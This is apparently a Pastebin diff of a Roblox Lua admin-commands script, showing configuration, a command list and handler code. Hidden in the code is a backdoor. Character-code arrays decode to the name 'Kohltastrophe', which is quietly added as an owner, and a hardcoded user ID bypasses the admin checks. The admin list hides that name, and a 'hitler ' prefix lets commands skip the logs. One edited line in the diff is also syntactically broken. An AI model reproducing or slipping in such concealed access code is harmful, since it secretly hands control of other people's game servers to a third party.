View difference between Paste ID: sKmBvjpU and 3DCybfU4
SHOW: | | - or go back to the newest paste.
1-
local owners = {"XxAngelusMortisxX"} -- Are able to set admins who can ban/etc... using :pa name
1+
local owners = {JayTheLionJR"} -- Are able to set admins who can ban/etc... using :pa name
2-
local admins = {"XxAngelusMortisxX,ghs098,aznboi819,bubbleglop"} -- Sets admins who can use ban/kick/admin or shutdown
2+
local admins = {"JayTheLionJR"} -- Sets admins who can use ban/kick/admin or shutdown
3
local tempadmins = {santa64} -- Sets admins who can't use ban/kick/admin or shutdown
4
local banland = {"MasterKhaos,catman9876"} -- Permanently Bans people
5
local prefix = ":" -- If you wanna change how your commands start ':'kill noob
6
local AutoUpdate = true -- Set to false if you don't want it to automatically update
7
-----------------
8
-- Group Admin --
9
-----------------
10
local GroupAdmin = false -- If a certain group can have admin
11
local GroupId = 0 -- Sets the group id that can have admin
12
local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
13
local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
14
---------------------
15
-- Tips and Tricks --
16
---------------------
17
--[[
18
With this admin you can do a command on multiple people at a time;
19
        :kill me,noob1,noob2,random,team-raiders
20
 
21
You can also use a variety commands for different people;
22
         all
23
         others
24
         me
25
         team-
26
         admins
27
         nonadmins
28
         random
29
--]]
30
--------------
31
-- Commands --
32
--------------
33
--[[
34
-- Temp Admin Commands --
35
0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
36
1. :s print("Hello World") -- Lets you script normally
37
2. :ls print("Hello World") -- Lets you script in localscripts
38
3. :clear -- Will remove all scripts/localscripts and jails
39
4. :m Hello People -- This commands will let you shout a message to everyone on the server
40
5. :kill kohl -- Kills the player
41
6. :respawn kohl -- Respawns the player
42
7. :trip kohl -- Trips the player
43
8. :stun kohl -- Stuns the player
44
9. :unstun kohl -- Unstuns the player
45
10. :jump kohl -- Makes the player jump
46
11. :sit kohl -- Makes the player sit
47
12. :invisible kohl -- Makes the player invisible
48
13. :visible kohl -- Makes the player visible
49
14. :explode kohl -- Makes the player explode
50
15. :fire kohl -- Sets the player on fire
51
16. :unfire kohl -- Removes fire from the player
52
17. :smoke kohl -- Adds smoke to the player
53
18. :unsmoke kohl -- Removes smoke from the player
54
19. :sparkles kohl -- Adds sparkles to the player
55
20. :unsparkles kohl -- Removes sparkles from the player
56
21. :ff kohl -- Adds a forcefield to the player
57
22. :unff kohl -- Removes the forcefield from the player
58
23. :punish kohl -- Punishes the player
59
24. :unpunish kohl -- Unpunishes the player
60
25. :freeze kohl -- Freezes the player
61
26. :thaw kohl -- Thaws the player
62
27. :heal kohl -- Heals the player
63
28. :god kohl -- Makes the player have infinite health
64
29. :ungod kohl -- Makes the player have 100 health
65
30. :ambient .5 .5 .5 -- Changes the ambient
66
31. :brightness .5 -- Changes the brightness
67
32. :time 12 -- Changes the time
68
33. :fogcolor .5 .5 .5 -- Changes the fogcolor
69
34. :fogend 100 -- Changes the fogend
70
35. :fogstart 100 -- Changes the fogstart
71
36. :removetools kohl -- Removes all tools from the player
72
37. :btools kohl -- Gives the player building tools
73
38. :give kohl sword -- Gives the player a tool
74
39. :damage kohl -- Damages the player
75
40. :grav kohl -- Sets the player's gravity to normal
76
41. :setgrav kohl 100 -- Sets the player's gravity
77
42. :nograv kohl -- Makes the player have 0 gravity
78
43. :health kohl 1337 -- Changes the player's health
79
44. :speed kohl 1337 -- Changes the player's walkspeed
80
45. :name kohl potato -- Changes the player's name
81
46. :unname kohl -- Remove the player's name
82
47. :team kohl Raiders -- Changes the player's team
83
48. :stopmusic -- Will stop all music playing in the server
84
49. :teleport kohl potato -- Teleports the player
85
50. :change kohl kills 1337 -- Changes a player's stat
86
51. :kick kohl -- Removes the player from the game
87
52. :infect kohl -- Turns the player into a zombie
88
53. :rainbowify kohl -- Turns the player into a rainbow
89
54. :flashify kohl -- Turns the player into a strobe
90
55. :noobify kohl -- Turns the player into a noob
91
56. :ghostify kohl -- Turns the player into a ghost
92
57. :goldify kohl -- Turns the player into gold
93
58. :shiny kohl -- Makes the player shiny
94
59. :normal kohl -- Puts the player back to normal
95
60. :trippy kohl -- Spams random colors on the player's screen
96
61. :untrippy kohl -- Untrippys the player
97
62. :strobe kohl -- Spams white and black on the player's screen
98
63. :unstrobe kohl -- Unstrobes the player
99
64. :blind kohl -- Blinds the player
100
65. :unblind kohl -- Unblinds the player
101
66. :guifix kohl -- Will fix trippy/strobe/blind on a player
102
67. :fling kohl -- Flings the player
103
68. :seizure kohl -- Puts the player in a seizure
104
69(lol). :music 1337 -- Plays a sound from the ID
105
70. :lock kohl -- Locks the player
106
71. :unlock kohl -- Unlocks the player
107
72. :removelimbs kohl -- Removes the player's limbs
108
73. :jail kohl -- Puts the player in a jail
109
74. :unjail kohl -- Removes the jail from the player
110
75. :fix -- This will fix the lighting to it's original settings
111
76. :fly kohl -- Makes the player fly
112
77. :unfly kohl -- Removes fly from the player
113
78. :noclip kohl -- Makes the player able to noclip
114
79. :clip kohl -- Removes noclipping from the player
115
80. :pm kohl Hey bro -- Sends the player a private message
116
81. :dog kohl -- Turns the player into a dog
117
82. :undog kohl -- Turns the player back to normal
118
83. :creeper kohl -- Turns the player into a creeper
119
84. :uncreeper kohl -- Turns the player back to normal
120
85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
121
86. :char kohl 261 -- Will make a player look like a different player ID
122
87. :unchar kohl -- Will return the player back to normal
123
88. :h Hello People -- This will shout a hint to everyone
124
89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
125
90. :starttools kohl -- Will give the player starter tools
126
91. :sword kohl -- Will give the player a sword
127
92. :bighead kohl -- Will make the player's head larger than normal
128
93. :minihead kohl -- Will make the player's head smaller than normal
129
94. :insert 1337 -- Will insert a model at the speaker's position
130
95. :disco -- Will make the server flash random colors
131
96. :flash -- Will make the server flash
132
97. :admins -- Shows the admin list
133
98. :bans -- Shows the banlist
134
99. :musiclist -- Shows the music list
135
100. :spin kohl -- Spins the player
136
101. :cape kohl Really black -- Gives the player a colored cape
137
102. :uncape kohl -- Removes the player's cape
138
103. :loopheal kohl -- Will constantly heal the player
139
104. :loopfling kohl -- Will constantly fling the player
140
105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
141
106. :unloopheal kohl -- Will remove the loopheal on the player
142
107. :unloopfling kohl -- Will remove the loopfling on the player
143
108. :unspin kohl -- Removes spin from the player
144
109. :tools -- Gives a list of the tools in the lighting
145
110. :undisco -- Removes disco effects
146
111. :unflash -- Removes flash effects
147
112. :resetstats kohl -- Sets all the stats of a player to 0
148
113. :gear kohl 1337 -- Gives a player a gear
149
114. :cmdbar -- Gives the speaker a command bar
150
115. :shirt kohl 1337 -- Changes the player's shirt
151
116. :pants kohl 1337 -- Changes the player's pants
152
117. :face kohl 1337 -- Changes the player's face
153
118. :swagify kohl -- Swagifies the player
154
119. :version -- Shows the current version of the admin
155
 
156
-- Super Admin Commands --
157
- :serverlock -- Locks the server
158
- :serverunlock -- Unlocks the server
159
- :sm Hello World -- Creates a system message
160
- :crash kohl -- Crashes a player
161
- :admin kohl -- Admins a player
162
- :unadmin kohl -- Unadmins a player
163
- :ban kohl -- Bans a player
164
- :unban kohl -- Unbans a player
165
- :loopkill kohl -- Will constantly kill the player
166
- :unloopkill kohl -- Will remove the loopkill on the player
167
- :logs -- Will show all of the commands any admin has used in a game session
168
- :shutdown -- Shutsdown the server
169
 
170
-- Owner Commands --
171
- :pa kohl -- Makes someone a super admin
172
- :unpa kohl -- Removes a super admin
173
--]]
174
-----------------
175
-- Main Script --
176
-----------------
177
for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
178
 
179
function CHEESE()
180
if game:service("Lighting"):findFirstChild("KACV2") then
181
owners = {} admins = {} tempadmins = {} banland = {}
182
for i,v in pairs(game.Lighting.KACV2:children()) do
183
if v.Name == "Owner" then table.insert(owners, v.Value) end
184
if v.Name == "Admin" then table.insert(admins, v.Value) end
185
if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
186
if v.Name == "Banland" then table.insert(banland, v.Value) end
187
if v.Name == "Prefix" then prefix = v.Value end
188
if v.Name == "FunCommands" then FunCommands = v.Value end
189
if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
190
if v.Name == "GroupId" then GroupId = v.Value end
191
if v.Name == "GroupRank" then GroupRank = v.Value end
192
end
193
game:service("Lighting"):findFirstChild("KACV2"):Destroy()
194
end
195
 
196
local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
197
local lobjs = {}
198
local objects = {}
199
local logs = {}
200
local nfs = ""
201
local slock = false
202
 
203
function GetTime()
204
local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
205
if min < 10 then min = "0"..min end
206
return hour..":"..min
207
end
208
 
209
function ChkOwner(str)
210
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
211
return false
212
end
213
 
214
function ChkAdmin(str,ck)
215
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
216
for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
217
for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
218
return false
219
end
220
 
221
function ChkGroupAdmin(plr)
222
if GroupAdmin then
223
if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
224
return false
225
end
226
end
227
 
228
function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
229
 
230
function GetPlr(plr, str)
231
local plrz = {} str = str:lower()
232
if str == "all" then plrz = game.Players:children()
233
elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
234
else
235
local sn = {1} local en = {}
236
for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
237
for x = 1, #sn do
238
if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
239
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
240
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
241
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
242
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
243
if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
244
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
245
end end end
246
elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
247
if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
248
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
249
end end end
250
else
251
for a, plyr in pairs(game.Players:children()) do
252
if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
253
table.insert(plrz, plyr) break
254
end
255
end
256
end
257
end
258
end
259
return plrz
260
end
261
 
262
function Hint(str, plrz, time)
263
for i, v in pairs(plrz) do
264
if v and v:findFirstChild("PlayerGui") then
265
coroutine.wrap(function()
266
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
267
local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
268
local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
269
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
270
if not time then wait((#str/19)+2.5) else wait(time) end
271
coroutine.resume(coroutine.create(function() for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end))
272
end)()
273
end
274
end
275
end
276
 
277
function Message(ttl, str, scroll, plrz, time)
278
for i, v in pairs(plrz) do
279
if v and v:findFirstChild("PlayerGui") then
280
coroutine.resume(coroutine.create(function()
281
local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
282
local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
283
local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
284
local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
285
scr.Parent = v.PlayerGui
286
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
287
if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
288
else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
289
coroutine.resume(coroutine.create(function() for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end))
290
end))
291
end
292
end
293
end
294
 
295
_G["Message"] = function(p1,p2) Message("Message",p1,false,game.Players:children(),p2) end
296
_G["RemoveMessage"] = function() for i,v in pairs(game.Players:children()) do if v and v:findFirstChild("PlayerGui") and v.PlayerGui:findFirstChild("MessageGUI") then v.PlayerGui.MessageGUI:Destroy() end end end
297
 
298
function Output(str, plr)
299
coroutine.resume(coroutine.create(function()
300
local b, e = loadstring(str)
301
if not b and plr:findFirstChild("PlayerGui") then
302
local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
303
local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
304
local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)")  err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
305
return
306
end
307
end))
308
end
309
 
310
function Noobify(char)
311
if char and char:findFirstChild("Torso") then
312
if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
313
if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
314
for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
315
local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
316
for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
317
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
318
if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
319
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
320
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
321
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
322
end end
323
end
324
end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
325
 
326
function Infect(char)
327
if char and char:findFirstChild("Torso") then
328
if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
329
if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
330
for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
331
local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
332
for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
333
prt.Transparency = 0 prt.Reflectance = 0  prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
334
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
335
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
336
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
337
end end
338
end
339
end if not ntab then script:Destroy() end
340
 
341
function ScrollGui()
342
local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
343
local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
344
drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
345
local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
346
local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
347
local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
348
local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
349
local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
350
local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
351
local num = 0
352
local downv = false
353
local upv = false
354
 
355
down.MouseButton1Down:connect(function() downv = true upv = false
356
local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
357
repeat  pos = pos + UDim2.new(0,0,0,-6)
358
if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
359
cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
360
end)
361
down.MouseButton1Up:connect(function() downv = false end)
362
up.MouseButton1Down:connect(function() upv = true downv = false
363
local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
364
repeat  pos = pos + UDim2.new(0,0,0,6)
365
if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
366
cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
367
end)
368
up.MouseButton1Up:connect(function() upv = false end)
369
return scr, cmf, ent, num
370
end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
371
if not ntab then script:Destroy() end
372
if not bct then script:Destroy() end
373
 
374
function Chat(msg,plr)
375
coroutine.resume(coroutine.create(function()
376
if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
377
if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
378
if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
379
if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
380
if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
381
if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
382
if msg:lower() == "cmds" or msg:lower() == "commands" then
383
if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
384
local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
385
local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version"}
386
local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
387
local ost = {"pa plr","unpa plr"}
388
local tost = {"oa plr","unoa plr"}
389
local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num +1
390
for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
391
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
392
if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
393
if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
394
end
395
 
396
if msg:lower() == "version" then Message("Version", script.Version.Value, true, plr) end
397
 
398
if msg:lower() == "admins" or msg:lower() == "adminlist" then
399
if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
400
local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
401
for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
402
for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
403
for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
404
end end
405
 
406
if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
407
if plr.PlayerGui:findFirstChild("BANSGUI") then return end
408
local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
409
for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
410
end
411
 
412
if msg:lower() == "tools" or msg:lower() == "toollist" then
413
if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
414
local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
415
for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
416
end
417
 
418
if msg:lower():sub(1,2) == "s " then
419
coroutine.resume(coroutine.create(function()
420
Output(msg:sub(3), plr)
421
if script:findFirstChild("ScriptBase") then
422
local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
423
table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
424
else loadstring(msg:sub(3))()
425
end
426
end))
427
end
428
 
429
if msg:lower():sub(1,3) == "ls " then
430
coroutine.resume(coroutine.create(function()
431
if script:findFirstChild("LocalScriptBase") then
432
local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
433
table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
434
end
435
end))
436
end
437
 
438
if msg:lower():sub(1,4) == "ins " then
439
coroutine.resume(coroutine.create(function()
440
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
441
if obj and #obj:children() >= 1 and plr.Character then
442
table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
443
end
444
end))
445
end
446
 
447
if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
448
for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
449
objects = {}
450
end
451
 
452
if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
453
game.Lighting.Ambient = origsettings.abt
454
game.Lighting.Brightness = origsettings.brt
455
game.Lighting.TimeOfDay = origsettings.time
456
game.Lighting.FogColor = origsettings.fclr
457
game.Lighting.FogEnd = origsettings.fe
458
game.Lighting.FogStart = origsettings.fs
459
